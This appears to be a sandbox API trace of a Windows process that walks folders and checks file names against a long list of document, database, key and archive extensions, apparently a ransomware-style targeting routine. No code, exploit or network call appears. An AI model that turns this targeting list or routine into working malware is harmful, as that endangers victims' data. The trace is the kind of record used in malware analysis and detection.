[0183.127] lstrlenW (lpString=".mhtml") returned 6 [0183.127] lstrcmpiW (lpString1=".mhtml", lpString2="h2.xml") returned -1 [0183.127] lstrlenW (lpString=".mka") returned 4 [0183.127] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mkidx") returned 6 [0183.127] lstrcmpiW (lpString1=".mkidx", lpString2="h2.xml") returned -1 [0183.127] lstrlenW (lpString=".mkv") returned 4 [0183.127] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mos") returned 4 [0183.127] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mov") returned 4 [0183.127] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mp3") returned 4 [0183.127] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mp4") returned 4 [0183.127] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mpeg") returned 5 [0183.127] lstrcmpiW (lpString1=".mpeg", lpString2="2.xml") returned -1 [0183.127] lstrlenW (lpString=".mpg") returned 4 [0183.127] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mpv") returned 4 [0183.127] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0183.127] lstrlenW (lpString=".mrw") returned 4 [0183.127] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".msg") returned 4 [0183.128] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".mxl") returned 4 [0183.128] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".myd") returned 4 [0183.128] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".myi") returned 4 [0183.128] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".nef") returned 4 [0183.128] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".nrw") returned 4 [0183.128] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".obj") returned 4 [0183.128] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".odb") returned 4 [0183.128] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".odc") returned 4 [0183.128] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".odm") returned 4 [0183.128] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".odp") returned 4 [0183.128] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".ods") returned 4 [0183.128] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".oft") returned 4 [0183.128] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".one") returned 4 [0183.128] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0183.128] lstrlenW (lpString=".onepkg") returned 7 [0183.128] lstrcmpiW (lpString1=".onepkg", lpString2="th2.xml") returned -1 [0183.129] lstrlenW (lpString=".onetoc2") returned 8 [0183.129] lstrcmpiW (lpString1=".onetoc2", lpString2="eth2.xml") returned -1 [0183.129] lstrlenW (lpString=".opt") returned 4 [0183.129] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".oqy") returned 4 [0183.129] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".orf") returned 4 [0183.129] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".p12") returned 4 [0183.129] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".p7b") returned 4 [0183.129] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".p7c") returned 4 [0183.129] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pam") returned 4 [0183.129] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pbm") returned 4 [0183.129] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pct") returned 4 [0183.129] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pcx") returned 4 [0183.129] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pdd") returned 4 [0183.129] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pdf") returned 4 [0183.129] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pdp") returned 4 [0183.129] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pef") returned 4 [0183.129] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pem") returned 4 [0183.129] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0183.129] lstrlenW (lpString=".pff") returned 4 [0183.130] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pfm") returned 4 [0183.130] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pfx") returned 4 [0183.130] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pgm") returned 4 [0183.130] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".php") returned 4 [0183.130] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".php3") returned 5 [0183.130] lstrcmpiW (lpString1=".php3", lpString2="2.xml") returned -1 [0183.130] lstrlenW (lpString=".php4") returned 5 [0183.130] lstrcmpiW (lpString1=".php4", lpString2="2.xml") returned -1 [0183.130] lstrlenW (lpString=".php5") returned 5 [0183.130] lstrcmpiW (lpString1=".php5", lpString2="2.xml") returned -1 [0183.130] lstrlenW (lpString=".phtml") returned 6 [0183.130] lstrcmpiW (lpString1=".phtml", lpString2="h2.xml") returned -1 [0183.130] lstrlenW (lpString=".pict") returned 5 [0183.130] lstrcmpiW (lpString1=".pict", lpString2="2.xml") returned -1 [0183.130] lstrlenW (lpString=".pl") returned 3 [0183.130] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0183.130] lstrlenW (lpString=".pls") returned 4 [0183.130] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pm") returned 3 [0183.130] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0183.130] lstrlenW (lpString=".png") returned 4 [0183.130] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pnm") returned 4 [0183.130] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".pot") returned 4 [0183.130] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0183.130] lstrlenW (lpString=".potm") returned 5 [0183.130] lstrcmpiW (lpString1=".potm", lpString2="2.xml") returned -1 [0183.130] lstrlenW (lpString=".potx") returned 5 [0183.131] lstrcmpiW (lpString1=".potx", lpString2="2.xml") returned -1 [0183.131] lstrlenW (lpString=".ppa") returned 4 [0183.131] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".ppam") returned 5 [0183.131] lstrcmpiW (lpString1=".ppam", lpString2="2.xml") returned -1 [0183.131] lstrlenW (lpString=".ppm") returned 4 [0183.131] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".pps") returned 4 [0183.131] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".ppsm") returned 5 [0183.131] lstrcmpiW (lpString1=".ppsm", lpString2="2.xml") returned -1 [0183.131] lstrlenW (lpString=".ppt") returned 4 [0183.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".pptm") returned 5 [0183.131] lstrcmpiW (lpString1=".pptm", lpString2="2.xml") returned -1 [0183.131] lstrlenW (lpString=".pptx") returned 5 [0183.131] lstrcmpiW (lpString1=".pptx", lpString2="2.xml") returned -1 [0183.131] lstrlenW (lpString=".prn") returned 4 [0183.131] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".ps") returned 3 [0183.131] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0183.131] lstrlenW (lpString=".psb") returned 4 [0183.131] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".psd") returned 4 [0183.131] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".pst") returned 4 [0183.131] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".ptx") returned 4 [0183.131] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".pub") returned 4 [0183.131] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0183.131] lstrlenW (lpString=".pwm") returned 4 [0183.131] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0183.132] lstrlenW (lpString=".pxr") returned 4 [0183.132] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0183.132] lstrlenW (lpString=".py") returned 3 [0183.132] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0183.132] lstrlenW (lpString=".qt") returned 3 [0183.132] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0183.132] lstrlenW (lpString=".r3d") returned 4 [0183.132] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0183.132] lstrlenW (lpString=".raf") returned 4 [0183.132] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0183.132] lstrlenW (lpString=".rar") returned 4 [0183.132] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.132] lstrlenW (lpString=".raw") returned 4 [0183.132] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0183.132] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.132] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.132] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.133] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0183.134] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.160] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.161] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0183.161] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0183.163] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.163] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.163] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.164] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.164] lstrlenW (lpString=".1cd") returned 4 [0183.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.164] lstrlenW (lpString=".3ds") returned 4 [0183.164] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.164] lstrlenW (lpString=".3fr") returned 4 [0183.164] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.164] lstrlenW (lpString=".3g2") returned 4 [0183.164] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.164] lstrlenW (lpString=".3gp") returned 4 [0183.164] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.164] lstrlenW (lpString=".7z") returned 3 [0183.164] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.164] lstrlenW (lpString=".accda") returned 6 [0183.164] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.164] lstrlenW (lpString=".accdb") returned 6 [0183.164] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.165] lstrlenW (lpString=".accdc") returned 6 [0183.165] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.165] lstrlenW (lpString=".accde") returned 6 [0183.165] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.165] lstrlenW (lpString=".accdt") returned 6 [0183.165] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.165] lstrlenW (lpString=".accdw") returned 6 [0183.165] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.165] lstrlenW (lpString=".adb") returned 4 [0183.165] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".adp") returned 4 [0183.165] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai") returned 3 [0183.165] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.165] lstrlenW (lpString=".ai3") returned 4 [0183.165] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai4") returned 4 [0183.165] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai5") returned 4 [0183.165] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai6") returned 4 [0183.165] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai7") returned 4 [0183.165] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".ai8") returned 4 [0183.165] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".anim") returned 5 [0183.165] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.165] lstrlenW (lpString=".arw") returned 4 [0183.165] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.165] lstrlenW (lpString=".as") returned 3 [0183.165] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.165] lstrlenW (lpString=".asa") returned 4 [0183.165] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".asc") returned 4 [0183.166] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".ascx") returned 5 [0183.166] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.166] lstrlenW (lpString=".asm") returned 4 [0183.166] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".asmx") returned 5 [0183.166] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.166] lstrlenW (lpString=".asp") returned 4 [0183.166] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".aspx") returned 5 [0183.166] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.166] lstrlenW (lpString=".asr") returned 4 [0183.166] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".asx") returned 4 [0183.166] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".avi") returned 4 [0183.166] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".avs") returned 4 [0183.166] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".backup") returned 7 [0183.166] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.166] lstrlenW (lpString=".bak") returned 4 [0183.166] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".bay") returned 4 [0183.166] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".bd") returned 3 [0183.166] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.166] lstrlenW (lpString=".bin") returned 4 [0183.166] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".bmp") returned 4 [0183.166] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".bz2") returned 4 [0183.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.166] lstrlenW (lpString=".c") returned 2 [0183.167] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.167] lstrlenW (lpString=".cdr") returned 4 [0183.167] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cer") returned 4 [0183.167] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cf") returned 3 [0183.167] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.167] lstrlenW (lpString=".cfc") returned 4 [0183.167] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cfm") returned 4 [0183.167] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cfml") returned 5 [0183.167] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.167] lstrlenW (lpString=".cfu") returned 4 [0183.167] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".chm") returned 4 [0183.167] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cin") returned 4 [0183.167] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".class") returned 6 [0183.167] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.167] lstrlenW (lpString=".clx") returned 4 [0183.167] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".config") returned 7 [0183.167] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.167] lstrlenW (lpString=".cpp") returned 4 [0183.167] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".cr2") returned 4 [0183.167] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.167] lstrlenW (lpString=".crt") returned 4 [0183.168] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".crw") returned 4 [0183.168] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".cs") returned 3 [0183.168] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.168] lstrlenW (lpString=".css") returned 4 [0183.168] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".csv") returned 4 [0183.168] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".cub") returned 4 [0183.168] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dae") returned 4 [0183.168] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.168] lstrlenW (lpString=".dat") returned 4 [0183.168] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.168] 